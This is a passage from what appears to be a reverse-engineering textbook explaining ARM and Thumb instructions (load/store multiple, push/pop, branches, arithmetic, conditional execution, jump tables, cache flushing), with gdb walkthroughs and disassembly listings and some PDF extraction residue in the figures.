form of PC, so it is trying to read the word at 0x0100B20C (=0x100B138+0xD4), 

which happens to be the constant we want to load.
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Another related instruction is ADR, which gets the address for a label/function 

and puts it in a register. For example:

01: 00009390 65 A5         ADR     R5, dword_9528
02: 00009392 D5 E9 00 45   LDRD.W  R4, R5, [R5]
03: ...
04: 00009528 00 CE 22 A9+dword_9528 DCD 0xA922CE00 , 0xC0A4

This instruction is typically used to implement jump tables or callbacks where 

you need to pass the address of a function to another. Internally, this instruction 

just calculates an offset from PC and saves it in the destination register.

LDM and STM

LDM and STM are similar to LDR/STR except that they load and store multiple 

words at a given base register. They are useful when moving multiple data 

blocks to and from memory. The general syntax is as follows:

 ■ LDM<mode> Rn[!], {Rm}
 ■ STM<mode> Rn[!], {Rm}

Rn is the base register and it holds the memory address to load/store from; the 

optional exclamation mark (!) means that the base register should be updated 

with the new address (writeback). Rm is the range of register to load/store. There 

are four modes:

 ■ IA (Increment After)—Stores data starting at the memory location speci-

fi ed by the base address. If there is writeback, then the address 4 bytes 

above the last location is written back. This is the default mode if nothing 

is specifi ed.

 ■ IB (Increment Before)—Stores data starting at the memory location 4 bytes 

above the base address. If there is writeback, then the address of the last 

location is written back.

 ■ DA (Decrement After)—Stores data such that the last location is the base 

address. If there is writeback, then the address 4 bytes below the lowest 

location is written back.

 ■ DB (Decrement Before)—Stores data such that the last location is 4 bytes 

below the base address. If there is writeback, then the address of the fi rst 

location is written back.

This may sound a bit confusing at fi rst, so let’s walk through an example 

with the debugger:

01: (gdb) br main
02: Breakpoint 1 at 0x8344
03: (gdb) disas main
04: Dump of assembler code for function main:
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05:    0x00008344 <+0>:     ldr     r6, =mem  ; edited a bit
06:    0x00008348 <+4>:     mov     r0, #10
07:    0x0000834c <+8>:     mov     r1, #11
08:    0x00008350 <+12>:    mov     r2, #12
09:    0x00008354 <+16>:    ldm     r6, {r3, r4, r5}  ; IA mode
10:    0x00008358 <+20>:    stm     r6, {r0, r1, r2}  ; IA mode
11: ...
12: (gdb) r
13: Breakpoint 1, 0x00008344 in main ()
14: (gdb) si
15: 0x00008348 in main ()
16: (gdb) x/3x $r6
17: 0x1050c <mem>:  0x00000001      0x00000002      0x00000003
18: (gdb) si
19: 0x0000834c in main ()
20: ...
21: (gdb)
22: 0x00008358 in main ()
23: (gdb) info reg r3 r4 r5
24: r3             0x1      1
25: r4             0x2      2
26: r5             0x3      3
27: (gdb) si
28: 0x0000835c in main ()
29: (gdb) x/3x $r6
30: 0x1050c <mem>:  0x0000000a      0x0000000b      0x0000000c

Line 5 stores a memory address in R6; the content of this memory address 

(0x1050c) is three words (line 17). Lines 6–8 set R0–R2 with some constants. Line 

9 loads three words into R3–R5, starting at the memory location specifi ed by R6. 

As shown in lines 24–26, R3–R5 contain the expected value. Line 10 stores R0–R2, 

starting at the memory location specifi ed by R6. Line 29 shows that the expected 

values were written. Figure 2-2 illustrates the result of the preceding operations.

0×1
0×2
0×3

mem r6

ldr r6, =mem
mov r0, #10
mov r1, #11
mov r2, #12
ldm r6, {r3, r4, r5}

stm r6, {r0, r1, r2}

r6+4
r6+8

r0=a r1=b r2=c
r3=1 r4=2 r5=3

r0=a r1=b r2=c
r3=1 r4=2 r5=3

r6
r6+4
r6+8

0×1
0×2
0×3

0×A
0×B
0×C

Figure 2-2
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Here’s the same experiment with writeback:

01: (gdb) br main

02: Breakpoint 1 at 0x8344

03: (gdb) disas main

04: Dump of assembler code for function main:

05:    0x00008344 <+0>:     ldr     r6, =mem   ; edited a bit

06:    0x00008348 <+4>:     mov     r0, #10

07:    0x0000834c <+8>:     mov     r1, #11

08:    0x00008350 <+12>:    mov     r2, #12

09:    0x00008354 <+16>:    ldm     r6!, {r3, r4, r5} ; IA mode w/ writeback

10:    0x00008358 <+20>:    stmia   r6!, {r0, r1, r2} ; IA mode w/ writeback

11: ...

12: (gdb) r

13: Breakpoint 1, 0x00008344 in main ()

14: (gdb) si

15: 0x00008348 in main ()

16: ...

17: (gdb)

18: 0x00008354 in main ()

19: (gdb) x/3x $r6

20: 0x1050c <mem>:  0x00000001      0x00000002      0x00000003

21: (gdb) si

22: 0x00008358 in main ()

23: (gdb) info reg r6

24: r6             0x10518  66840

25: (gdb) si

26: 0x0000835c in main ()

27: (gdb) info reg $r6

28: r6             0x10524  66852

29: (gdb) x/4x $r6-12

30: 0x10518 :       0x0000000a      0x0000000b      0x0000000c      

0x00000000

Line 9 uses IA mode with writeback, so the r6 is updated with an address 4 

bytes above the last location (line 23). The same can be observed in lines 10, 27, 

and 30. Figure 2-3 shows the result of the preceding snippet.

0×2
0×3

0×1
0×2
0×3

0×1
0×2
0×3
0×A
0×B
0×C

0×1mem 0×1050c
0×1050c+4
0×1050c+8
0×1050c+c

0×1050c
0×1050c+4
0×1050c+8

r6 0×1050c+c

0×1050c
0×1050c+4
0×1050c+8
0×1050c+c
0×1050c+10
0×1050c+14

r6 0×1050c+18

r0=a r2=b r3=c
r3=1 r4=2 r5=3

ldr r6, =mem
mov r0, #10
mov r1, #11
mov r2, #12
ldm r6!, {r3, r4, r5}

stm r6, {r0, r1, r2}

Figure 2-3
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Because LDM and STM can move multiple words at a time, they are typically 

used in block- copy or move operations. For example, they are sometimes used 

to inline memcpy when the copy length is known at compile time. They are simi-

lar to the MOVS instruction with the REP prefi x on x86. Consider the following 

blobs of code generated by two different compilers from the same source fi le:

Compiler A

01: A4 46         MOV      R12, R4
02: 35 46         MOV      R5, R6
03: BC E8 0F 00   LDMIA.W  R12!, {R0-R3}
04: 0F C5         STMIA    R5!, {R0-R3}
05: BC E8 0F 00   LDMIA.W  R12!, {R0-R3}
06: 0F C5         STMIA    R5!, {R0-R3}
07: 9C E8 0F 00   LDMIA.W  R12, {R0-R3}
08: 85 E8 0F 00   STMIA.W  R5, {R0-R3}

Compiler B

01: 30 22         MOVS   R2, #0x30
02: 21 46         MOV    R1, R4
03: 30 46         MOV    R0, R6
04: 23 F0 17 FA   BL     memcpy

All this does is copy 48 bytes from one buffer to another; the fi rst compiler 

uses LDM/STM with writebacks to load/store 16 bytes at a time, while the second 

simply calls into its implementation of memcpy. When reverse engineering code, 

you can spot the inlined memcpy form by recognizing that the same source and 

destination pointers are being used by LDM/STM with the same register set. 

This is a good trick to keep in mind because you will see it often.

Another common place where LDM/STM can be seen is at the beginning and 

end of functions in ARM state. In this context, they are used as the prologue 

and epilogue. For example:

01: F0 4F 2D E9   STMFD   SP!, {R4-R11,LR}  ; save regs + return address

02: ...

03: F0 8F BD E8   LDMFD   SP!, {R4-R11,PC}  ; restore regs and return

STMFD and LDMFD are pseudo-instructions for STMDB and LMDIA/LDM, respectively.

N O T E  You will often see the suffi  xes FD, FA, ED, or EA after STM/LDM. They are 

simply pseudo-instructions for the LDM/STM instructions in diff erent modes (IA, IB, 

etc.). The association is STMFD/STMDB, STMFA/STMIB, STMED/STMDA, STMEA/STMIA, 

LDMFD/LDMIA, LDMFA/LDMDA, and LDMEA/LDMDB. It can be somewhat challenging 

to memorize these associations—the most eff ective way is to draw pictures for each 

instruction.
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PUSH and POP

The fi nal set of load/store instructions is PUSH and POP. They are similar to LDM/

STM except for two characteristics:

 ■ They implicitly use SP as the base address.
 ■ SP is automatically updated.

The stack grows downward to lower addresses as it does in the x86/x64 

architecture. The general syntax is PUSH/POP {Rn}, where Rn can be a range of 

registers.

PUSH stores the registers on the stack such that the last location is 4 bytes below 

the current stack pointer, and updates SP with the address of the fi rst location. 

POP loads the registers starting from the current stack pointer and updates SP 

with the address 4 bytes above the last location. PUSH/POP are actually the same 

as STMDB/LDMIA with writeback and SP as the base pointer. Here is a short walk-

through demonstrating the instructions:

01: (gdb) disas main
02: Dump of assembler code for function main:
03:    0x00008344 <+0>:     mov.w   r0, #10
04:    0x00008348 <+4>:     mov.w   r1, #11
05:    0x0000834c <+8>:     mov.w   r2, #12
06:    0x00008350 <+12>:    push    {r0, r1, r2}
07:    0x00008352 <+14>:    pop     {r3, r4, r5}
08: ...
09: (gdb) br main
10: Breakpoint 1 at 0x8344
11: (gdb) r
12: Breakpoint 1, 0x00008344 in main ()
13: (gdb) si
14: 0x00008348 in main ()
15: ...
16: (gdb)
17: 0x00008350 in main ()
18: (gdb) info reg sp        ; current stack pointer
19: sp             0xbee56848       0xbee56848
20: (gdb) si
21: 0x00008352 in main ()
22: (gdb) x/3x $sp           ; sp is updated after the push
23: 0xbee5683c:     0x0000000a      0x0000000b      0x0000000c
24: (gdb) si                 ; pop into the registers
25: 0x00008354 in main ()
26: (gdb) info reg r3 r4 r5  ; new registers
27: r3             0xa      10
28: r4             0xb      11
29: r5             0xc      12
30: (gdb) info reg sp        ; new sp (4 bytes above the last location)
31: sp             0xbee56848       0xbee56848
32: (gdb) x/3x $sp-12
33: 0xbee5683c:     0x0000000a      0x0000000b      0x0000000c
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Figure 2-4 illustrates the preceding snippet.

0×B
0×C

0×A
0×B
0×C

0×A

r0=a r1=b r2=c
r3=a r4=b r5=c

r0=a r1=b r2=c

0×bee56848−c
0×bee56848−8
0×bee56848−4

sp 0×bee56848

0×bee56848+4
0×bee56848+8
0×bee56848+c

sp 0×bee56848−c
0×bee56848−8
0×bee56848−4
0×bee56848

0×bee56848+4
0×bee56848+8
0×bee56848+c

0×bee56848−c
0×bee56848−8
0×bee56848−4

sp 0×bee56848

0×bee56848+4
0×bee56848+8
0×bee56848+c

mov.w r0, #10
mov.w r1, #11
mov.w r2, #12
push {r0, r1, r2}

pop {r3, r4, r5}

Figure 2-4

The most common place for PUSH/POP is at the beginning and end of func-

tions. In this context, they are used as the prologue and epilogue (like STMFD/

LDMFD in ARM state). For example:

01: 2D E9 F0 4F   PUSH.W  {R4-R11,LR} ; save registers + return address
02: ...
03: BD E8 F0 8F   POP.W   {R4-R11,PC} ; restore registers and return

Some disassemblers actually use this pattern as a heuristic to determine 

function boundaries.

Functions and Function Invocation

Unlike x86/x64, which has only one instruction for function invocation (CALL) 

and branching (JMP), ARM offers several depending on how the destination 

is encoded. When you call a function, the processor needs to know where to 

resume execution after the function returns; this location is typically referred 

to as the return address. In x86, the CALL instruction implicitly pushes the return 

address on the stack before jumping to the target function; when it is done execut-

ing, the target function resumes execution at the return address by popping it 

off the stack into EIP.

The mechanism on ARM is essentially the same with a few minor differ-

ences. First, the return address can be stored on the stack or in the link register 

(LR); to resume execution after the call, the return address is explicitly popped 

off the stack into PC or there will be an unconditional branch to LR. Second, a 
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branch can switch between ARM and Thumb state, depending on the destina-

tion address’s LSB. Third, a standard calling convention is defi ned by ARM: 

The fi rst four 32-bit parameters are passed via registers (R0-R3) and the rest are 

on the stack. Return value is stored in R0.

The instructions used for function invocations are B, BX, BL, and BLX.

Although it is rare to see B used in the context of function invocation, it can be 

used for transfer of control. It is simply an unconditional branch and is identical 

to the JMP instruction in x86. It is normally used inside of loops and conditionals to 

go back to the beginning or break out; it can also be used to call a function 

that never returns. B can only use label offsets as its destination; it cannot use 

registers. In this context, the syntax of B is as follows: B imm, where imm is an 

offset relative from the current instruction. (This does not take into consider-

ation the conditional execution fl ags, which are discussed in the “Branching 

and Conditional Execution” section.) One important fact to note is that because 

ARM and Thumb instructions are 4- and 2-byte aligned, the target offset needs 

to be an even number. Here is a snippet showing the usage of B:

01: 0001C788   B         loc_1C7A8
02: 0001C78A
03: 0001C78A loc_1C78A
04: 0001C78A   LDRB      R7, [R6,R2]
05: ...
06: 0001C7A4   STRB.W    R7, [R3,#-1]
07: 0001C7A8
08: 0001C7A8 loc_1C7A8
09: 0001C7A8   MOV       R7, R3
10: 0001C7AA   ADDS      R3, #2
11: 0001C7AC   CMP       R2, R4
12: 0001C7AE   BLT       loc_1C78A

In line 1, you see B being used as an unconditional jump to start off a loop. 

You can ignore the other instructions for now.

BX is Branch and Exchange. It is similar to B in that it transfers control to 

a target, but it has the ability to switch between ARM/Thumb state, and the 

target address is stored in a register. Branching instructions that end with X 

indicate that they are capable of switching between states. If the LSB of the 

target address is 1, then the processor automatically switches to Thumb state; 

otherwise, it executes in ARM state. The instruction format is BX <register>, 

where register holds the destination address. The two most common uses of 

this instruction are returning from a function by branching to LR (i.e., BX LR) 

and transferring of control to code in a different mode (i.e., going from ARM 

to Thumb or vice versa). In compiled code, you will almost always see BX LR at 

the end of functions; it is basically the same as RET in x86.

BL is Branch with Link. It is similar to B except that it also stores the return 

address in LR before transferring control to the target offset. This is probably the 

closest equivalence to the CALL instruction in x86 and you will often see it used 
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to invoke functions. The instruction format is the same as B (that is, it takes only 

offsets). Here is a short snippet demonstrating function invocation and returning:

01: 00014350   BL              foo ; LR = 0x00014354
02: 00014354   MOVS            R4, #0x15
03: ...
04: 0001B224 foo
05: 0001B224   PUSH            {R1-R3}
06: 0001B226   MOV             R3, 0x61240
07: ...
08: 0001B24C   BX              LR  ; return to 0x00014354

Line 1 calls the function foo using BL; before transferring control to the des-

tination, BL stores the return address (0x000014354) in LR. foo does some work 

and returns to the caller (BX LR).

BLX is Branch with Link and Exchange. It is like BL with the option to switch 

state. The major difference is that BLX can take either a register or an offset as its 

branch destination; in the case where BLX uses an offset, the processor always 

swaps state (ARM to Thumb and vice versa). Because it shares the same charac-

teristics as BL, you can also think of it as the equivalent of the CALL instruction in 

x86. In practice, both BL and BLX are used to call functions. BL is typically used if 

the function is within a 32MB range, and BLX is used whenever the target range 

is undetermined (like a function pointer). When operating in Thumb state, BLX is 

usually used to call library routines; in ARM state, BL is used instead.

Having explored all instructions related to unconditional branching and 

direct function invocation, and how to return from a function (BX LR), you can 

consolidate your knowledge by looking at a full routine:

01: 0100C388             ; void *__cdecl mystery(int)
02: 0100C388             mystery
03: 0100C388 2D E9 30 48   PUSH.W  {R4,R5,R11,LR}
04: 0100C38C 0D F2 08 0B   ADDW    R11, SP, #8
05: 0100C390 0C 4B         LDR     R3, =__imp_malloc
06: 0100C392 C5 1D         ADDS    R5, R0, #7
07: 0100C394 6F F3 02 05   BFC.W   R5, #0, #3
08: 0100C398 1B 68         LDR     R3, [R3]
09: 0100C39A 15 F1 08 00   ADDS.W  R0, R5, #8
10: 0100C39E 98 47         BLX     R3
11: 0100C3A0 04 46         MOV     R4, R0
12: 0100C3A2 24 B1         CBZ     R4, loc_100C3AE
13: 0100C3A4 EB 17         ASRS    R3, R5, #0x1F
14: 0100C3A6 63 60         STR     R3, [R4,#4]
15: 0100C3A8 25 60         STR     R5, [R4]
16: 0100C3AA 08 34         ADDS    R4, #8
17: 0100C3AC 04 E0         B       loc_100C3B8
18: 0100C3AE             loc_100C3AE
19: 0100C3AE 04 49         LDR     R1, =aFailed ; "failed..."
20: 0100C3B0 2A 46         MOV     R2, R5
21: 0100C3B2 07 20         MOVS    R0, #7
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22: 0100C3B4 01 F0 14 FC   BL      foo
23: 0100C3B8
24: 0100C3B8             loc_100C3B8
25: 0100C3B8 20 46         MOV     R0, R4
26: 0100C3BA BD E8 30 88   POP.W   {R4,R5,R11,PC}
27: 0100C3BA             ; End of function mystery

This function covers several of the ideas discussed earlier (ignore the other 

instructions for now):

 ■ Line 3 is the prologue, using the PUSH {..., LR} sequence; L26 is the 

epilogue.

 ■ Line 10 calls malloc via BLX.

 ■ Line 22 calls foo via BL.

 ■ Line 26 returns, using the POP {..., PC} sequence.

Arithmetic Operations

After loading a value from memory into a register, the code can move it around 

and perform operations on it. The simplest operation is to move it to another 

register with the MOV instruction. The source can be a constant, a register, or 

something processed by the barrel shifter. Here are examples of its usage:

01: 4F F0 0A 00   MOV.W   R0, #0xA  ; r0 = 0xa
02: 38 46         MOV     R0, R7    ; r0 = r7
03: A4 4A A0 E1   MOV     R4, R4, LSR #21 ; r4 = (r4>>21)

Line 3 shows the source operand being processed by the barrel shifter before 

being moved to the destination. The barrel shifter’s operations include left shift 

(LSL), right shift (LSR, ASR), and rotate (ROR, RRX). The barrel shifter is useful 

because it allows the instruction to work on constants that cannot normally be 

encoded in immediate form. ARM and Thumb instructions can be either 16 or 

32 bits wide, so they cannot directly have 32-bit constants as a parameter; with 

the barrel shifter, an immediate can be transformed into a larger value and 

moved to another register. Another way to move a 32-bit constant into a register 

is to split the constant into two 16-bit halves and move them one a time; this is 

normally done with the MOVW and MOVT instructions. MOVT sets the top 16 bits of 

a register, and MOVW sets the bottom 16 bits.

The basic arithmetic and logical operations are ADD, SUB, MUL, AND, ORR, and 

EOR. Here are examples of their usage:

01: 4B 44         ADD      R3, R9           ; r3 = r3+r9
02: 0D F2 08 0B   ADDW     R11, SP, #8      ; r11 = sp+8
03: 04 EB 80 00   ADD.W    R0, R4, R0,LSL#2 ; r0 = r4 + (r0<<2)
04: EA B0         SUB      SP, SP, #0x1A8   ; sp = sp-0x1a8
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05: 03 FB 05 F2   MUL.W    R2, R3, R5       ; r2 = r3*r5 (32bit result)
06: 14 F0 07 02   ANDS.W   R2, R4, #7       ; r2 = r4 & 7 (flag)
07: 83 EA C1 03   EOR.W    R3, R3, R1,LSL#3 ; r3 = r3 ^ (r1<<3)
08: 53 40         EORS     R3, R2           ; r3 = r3 ^ r2 (flag)
09: 43 EA 02 23   ORR.W    R3, R3, R2,LSL#8 ; r3 = r3 | (r2<<8)
10: 53 F0 02 03   ORRS.W   R3, R3, #2       ; r3 = r3 | 2 (flag)
11: 13 43         ORRS     R3, R2           ; r3 = r3 | r2 (flag)

Note the “S” after some of these instructions. Unlike x86, ARM arithmetic 

instructions do not set the conditional fl ag by default. The “S” suffi x indicates 

that the instruction should set arithmetic conditional fl ags (zero, negative, etc.) 

depending on its result. Note that the MUL instruction truncates the result such 

that only the bottom 32 bits are stored in the destination register; for full 64-bit 

multiplication, use the SMULL and UMULL instructions (see ARM TRM for the details).

Where is the divide instruction? ARM does not have a native divide instruc-

tion. (ARMv7-R and ARMv7-M cores have SDIV and UDIV, but they are not 

discussed here.) In practice, the runtime will have a software implementation 

for division and code simply call into it when needed. Here is an example with 

the Windows C runtime:

01: 41 46         MOV             R1, R8

02: 30 46         MOV             R0, R6

03: 35 F0 9E FF   BL              __rt_udiv ; software implementation of udiv

Branching and Conditional Execution

Every example discussed so far has been executed in a linear manner. Most pro-

grams will have conditionals and loops. At the assembly level, these constructs 

are implemented using conditional fl ags, which are stored in the application 

program status register (APSR). The APSR is an alias of the CPSR and is similar to 

the EFLAG in x86. Figure 2-5 illustrates the relevant fl ags, described as follows:

 ■ N (Negative fl ag)—It is set when the result of an operation is negative (the 

result’s most signifi cant bit is 1).

 ■ Z (Zero fl ag)—It is set when the result of an operation is zero.

 ■ C (Carry fl ag)—It is set when the result of an operation between two 

unsigned values overfl ows.

 ■ V (Overfl ow fl ag)—It is set when the result of an operation between two 

signed values overfl ows.

 ■ IT (If-then bits)—These encode various conditions for the Thumb instruc-

tion IT. They are discussed later.

The N, Z, C, and V bits are identical to the SF, ZF, CF, and OF bits in the EFLAG 

register on x86. They are used to implement conditionals and loops in higher-

level languages; they are also used to support conditional execution at the 
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instruction level. Equality is described in terms of these fl ags. Table 2-1 shows 

common relationships and corresponding fl ags.

cond. flagsCPSR

APSR

31 26

31 26

15

15

10 9 5 4 0

0

IT E T M

ReservedN Z C V Q

Figure 2-5

Table 2-1: Conditional code and meaning

SUFFIX/CODE MEANING FLAGS

EQ Equal Z==1

NE Not equal Z==0

MI Minus, negative N==1

PL Plus, positive, or zero N==0

HI Unsigned higher/above C==1 and Z==0

LS Unsigned lower/below C==0 or Z==1

GE Signed greater than or equal N==V

LT Signed less than N!=V

GT Signed greater than Z==0 and N==V

LE Signed less than or equal Z==1 or N!=V

Instructions can be conditionally executed by adding one of these suffi xes at 

the end. For example, BLT means to branch if the LT condition is true. (This is 

the same as JL in x86.) By default, instructions do not update conditional fl ags 

unless the “S” suffi x is used; the comparison instructions (CBZ, CMP, TST, CMN, 

and TEQ) update the fl ags automatically because they are usually used before 

branch instructions.

The most common comparison instruction is probably CMP. Its syntax is CMP 

Rn, X, where Rn is a register and X can be an immediate, a register, or a barrel 

shift operation. Its semantic is identical to that in x86: It performs Rn - X, sets 

the appropriate fl ags, and discards the result. It is usually followed by a condi-

tional branch. Here is an example of its usage and pseudo-code:

ARM

01: B3 EB E7 7F   CMP.W     R3, R7, ASR #31
02: 05 DB         BLT       loc_less
03: 01 DC         BGT       loc_greater
04: BD 42         CMP       R5, R7
05: 02 D9         BLS       loc_less
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06:             loc_greater
07: 07 3D         SUBS      R5, #7
08: 6E F1 00 0E   SBC.W     LR, LR, #0
09:             loc_less
10: A5 FB 08 12   UMULL.W   R1, R2, R5, R8
11: 87 FB 08 04   SMULL.W   R0, R4, R7, R8
12: 0E FB 08 23   MLA.W     R3, LR, R8, R2

Pseudo C

if (r3 < r7) { goto loc_less; }
else if ( r3 > r7) { goto loc_greater; }
else if ( r5 < r7) { goto loc_less; }

The next most common comparison instruction is TST; its syntax is identical 

to that of CMP. Its semantic is identical to TEST in x86: It performs Rn & X, sets 

the appropriate fl ags, and discards the result. It is usually used to test whether 

a value is equal to another or to test for fl ags. Like most compare instructions, 

it is typically followed by a conditional branch. Here is an example:

01: AB 8A         LDRH     R3, [R5,#0x14]
02: 13 F0 02 0F   TST.W    R3, #2
03: 09 D0         BEQ      loc_10179DA
04: ...
05:             loc_10179BE
06: AA 8A         LDRH     R2, [R5,#0x14]
07: 12 F0 04 0F   TST.W    R2, #4
08: 02 D0         BEQ      loc_10179E8

In Thumb-2 state, there are two popular comparison instructions: CBZ and 

CBNZ. Their syntax is simple: CBZ/CBNZ Rn, label, where Rn is a register and 

label is an offset to branch to if the condition is true. CBZ then branches to label 

if the register is zero. CBNZ is same except that it checks for a non-zero condition. 

These instructions are usually used to determine whether a number is 0 or a 

pointer is NULL. Here is a typical usage:

ARM

01: 10 F0 48 FF   BL          foo
             ; foo returns a pointer in r0
02: 28 B1         CBZ         R0, loc_100BC8E
03: ...
04:             loc_100BC8E
05: 01 20         MOVS        R0, #1
06: 28 E0         B           locret_100BCE4
07: ...
08:             locret_100BCE4
09: BD E8 F8 89   POP.W       {R3-R8,R11,PC}

Pseudo C

type *a;
a = foo(...);
if (a == NULL) { return 1; }
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The other comparison instructions are CMN/TEQ, which performs addition/

exclusive-or on the operands. Because they are not commonly used they are 

not covered here.

You have seen that the branch instruction (B) can be made to do conditional 

branches by adding a suffi x (BEQ, BLE, BLT, BLS, etc.). In fact, most ARM instruc-

tions can be conditionally executed in the same way. If the condition is not met, 

the instruction can be seen as a no-op. Instruction-level conditional execution 

can reduce branches, which may speed up execution time. Here is an example:

ARM

01: 00 00 50 E3   CMP     R0, #0
02: 01 00 A0 03   MOVEQ   R0, #1
03: 68 00 D0 15   LDRNEB  R0, [R0,#0x68]
04: 1E FF 2F E1   BX      LR

Pseudo C

unk_type *a = ...;
if (a == NULL) { return 1; }
else { return a->off_48; }

You immediately know that R0 is a pointer because of the LDR instruction 

in line 3. Line 1 checks whether R0 is NULL. If true (EQ), then line 2 sets R0 to 

1; otherwise, NEQ loads the value at R0+0x68 into R0 (line 3) and then returns. 

Because EQ and NEQ cannot be true at the same time, only one of the instructions 

will be executed. Note that there are no branch instructions.

Thumb State

Unlike most ARM instructions, Thumb instructions cannot be conditionally 

executed (with the exception of B) without the IT (if-then) instruction. This is 

a Thumb-2-specifi c instruction that allows up to four instructions after it to be 

conditionally executed. The general syntax is as follows: ITxyz cc, where cc 

is the conditional code for the fi rst instruction; x, y, and z describe the condi-

tion for the second, third, and fourth instruction, respectively. Conditions for 

instructions after the fi rst are described by one of two letters: T or E. T means 

that the condition must match cc to be executed; E means to execute only if the 

condition is the inverse of cc. Consider the following example:

ARM

01: 00 2B         CMP     R3, #0
           ; check and set condition
02: 12 BF         ITEE NE
           ; begin IT block
03: BC FA 8C F0   CLZNE.W R0, R12
           ; first instruction
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04: B6 FA 86 F0   CLZEQ.W R0, R6
           ; second instruction
05: 20 30         ADDEQ   R0, #0x20
           ; third instruction

Pseudo C

if (R3 != 0) {
 R0 = countleadzeros(R12);
} else {
 R0 = countleadzeros(R6);
 R0 += 0x20
}

Line 1 performs a comparison and sets a conditional fl ag. Line 2 specifi es 

the conditions and start the if-then block. NE is the execution condition for the 

fi rst instruction; the fi rst E (after IT) indicates that the execution condition for 

the second instruction is the inverse of the fi rst. (EQ is the inverse of NE.) The 

second E indicates the same for the third instruction. Lines 3–5 are instructions 

inside the IT block.

Due to its fl exibility, the IT instruction can be used to reduce the number of 

instructions required to implement short conditionals in Thumb state.

Switch-Case

Switch-case statements can be understood as many if-else statements bundled 

together. Because the test expression and target label are known at compile time, 

compilers usually construct a jump table to store addresses (ARM) or offsets 

(Thumb) for each case handler. After determining the index into the jump table, 

the compiler indirectly branches to the destination by loading the destination 

address into PC. In ARM state, this is normally done by LDR with PC as the 

destination and base register. Consider the following example:

01:  ; R1 is the case
02: 0B 00 51 E3   CMP      R1, #0xB   ; is it within range?
03: 01 F1 9F 97   LDRLS    PC, [PC,R1,LSL#2] ; yes, switch by
                                      ; indexing into the table
04: 14 00 00 EA   B        loc_DD10  ; no, break
05: 3C DD 00 00+  DCD loc_DD3C  ; begin of jump table
06: 4C DD 00 00+  DCD loc_DD4C
07: 68 DD 00 00+  DCD loc_DD68
08: 8C DD 00 00+  DCD loc_DD8C
09: BC DD 00 00+  DCD loc_DDBC
10: F0 DD 00 00+  DCD loc_DDF0
11: 38 DE 00 00+  DCD loc_DE38
12: 38 DE 00 00+  DCD loc_DE38
13: EC DC 00 00+  DCD loc_DCEC  ; case/index 8
14: EC DC 00 00+  DCD loc_DCEC  ; case/index 9
15: 3C DD 00 00+  DCD loc_DD3C
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16: 3C DD 00 00   DCD loc_DD3C
17:             loc_DCEC   ; handler for case 8,9
18: 00 00 A0 E3   MOV      R0, #0
19: 08 10 41 E2   SUB      R1, R1, #8
20: 04 30 A0 E3   MOV      R3, #4
21: 14 00 82 E5   STR      R0, [R2,#0x14]
22: BC 31 C2 E1   STRH     R3, [R2,#0x1C]
23: 10 10 82 E5   STR      R1, [R2,#0x10]

Line 2 checks whether the case is within range; if not, then it executes the 

default handler (line 4). Line 3 conditionally executes if R1 is within range; it 

branches to the case-handler by indexing into the jump table and loads the des-

tination address in PC. Recall that PC is 8 bytes after the current instruction (in 

ARM state), so the jump table is usually stored 8 bytes from the LDR instruction.

In Thumb mode, the same concept applies except that the jump table con-

tains offsets instead of addresses. ARM added new instructions to support 

table-branching with byte or half-word offsets: TBB and TBH. For TBB, the table 

entries are byte values; for TBH, they are half-words. The table entries must be 

multiplied by two and added to PC to get the fi nal branch destination. Here is 

the preceding example using TBB:

01: 0101E600 0B 29         CMP     R1, #0xB ; is it within range?
02: 0101E602 76 D8         BHI     loc_101E6F2 ; no, break
03: 0101E604 04 26         MOVS    R6, #4
04: 0101E606 DF E8 01 F0   TBB.W   [PC,R1] ; branch using table offset
05: 0101E60A 06          jpt_101E606 DCB 6 ; begin of jump table
06: 0101E60B 09            DCB 9
07: 0101E60C 0F            DCB 0xF
08: 0101E60D 18            DCB 0x18
09: 0101E60E 24            DCB 0x24
10: 0101E60F 32            DCB 0x32
11: 0101E610 45            DCB 0x45
12: 0101E611 45            DCB 0x45
13: 0101E612 6D            DCB 0x6D ; offset for 8
14: 0101E613 6D            DCB 0x6D ; offset for 9
15: 0101E614 06            DCB 6
16: 0101E615 06            DCB 6
17: ...
18: 0101E6E4             loc_101E6E4   ; handler for case 8,9
19: 0101E6E4 B1 F1 08 03   SUBS.W  R3, R1, #8
20: 0101E6E8 00 20         MOVS    R0, #0
21: 0101E6EA 60 61         STR     R0, [R4,#0x14]

Because it is in Thumb state, PC is 4 bytes after the current instruction; hence, 

for case 8, the table entry would be at address 0x0101E612 (=0x0101E60A+8), 

which is 0x6d, and the handler is at 0x101E6E4 (=PC+(0x6d*2)). Similar to the 

previous example, the jump table is usually placed after the TBB/TBH instruction. 

Note that the TBB/TBH are used only in Thumb state.
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Miscellaneous

This section briefl y discusses concepts that are not directly related to the pro-

cess of reverse engineering. However, in practice, they are important to know 

because they may contribute to your overall knowledge. More knowledge is 

always good. You can skip this section on a fi rst read.

Just-in-Time and Self-Modifying Code

ARM supports the concept of just-in-time (JIT) and self-modifying code (SMC). JIT 

code is native code that is dynamically generated by a JIT compiler; for example, 

the Microsoft .NET languages compile to an intermediate language (MSIL) that 

is converted into native machine code (x86, x64, ARM, etc.) for execution on the 

CPU core. SMC is code that is generated or modifi ed by the current instruction 

stream. A common example of SMC is encoded shellcode that is decoded and 

executed at run-time. Both JIT and SMC code require writing to memory new 

data that is then later fetched by execution.

The ARM core has two separate cache lines for instruction (i-cache) and data 

(d-cache); instructions are executed from the i-cache, and memory access is 

through the d-cache. These cache lines are not guaranteed to be coherent, which 

means that data written to one cache may not be immediately visible to the other. 

For example, suppose the i-cache holds four instructions from the instruction 

stream and the user generates new or modifi ed instructions at the same spot 

(which updates the d-cache). Because they are not coherent, the i-cache may not 

know about the recent modifi cation, so it executes stale instructions (which may 

lead to mysterious crashes or incorrect results). If you are writing JIT systems 

or shellcode, this is clearly not a desirable situation. The solution is to explicitly 

force the i-cache to be refreshed (also known as fl ushing the cache). On ARM, 

this is done by updating a register in the system control coprocessor (CP15):

01: 4F F0 00 00   MOV.W     R0, #0
02: 07 EE 15 0F   MCR       p15, 0, R0,c7,c5, 0

Most operating systems provide an interface for this operation, so you do 

not have to write it yourself. On Linux, use __clear_cache; on Windows, use 

FlushInstructionCache.

Synchronization Primitives

ARM does not have an instruction similar to cmpxchg (compare-and-exchange) 

in x86; instead, two instructions are used: LDREX and STREX. These instructions 

are just like LDR/STR, except that they acquire exclusive access to the memory 
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address before loading/storing. Together, they are typically used to implement 

compare-and-exchange intrinsics. For example:

ARM

01: 01 21         MOVS      R1, #1
02:             loc_100C4B0
03: 54 E8 00 2F   LDREX.W   R2, [R4]
04: 1A B9         CBNZ      R2, loc_100C4BE
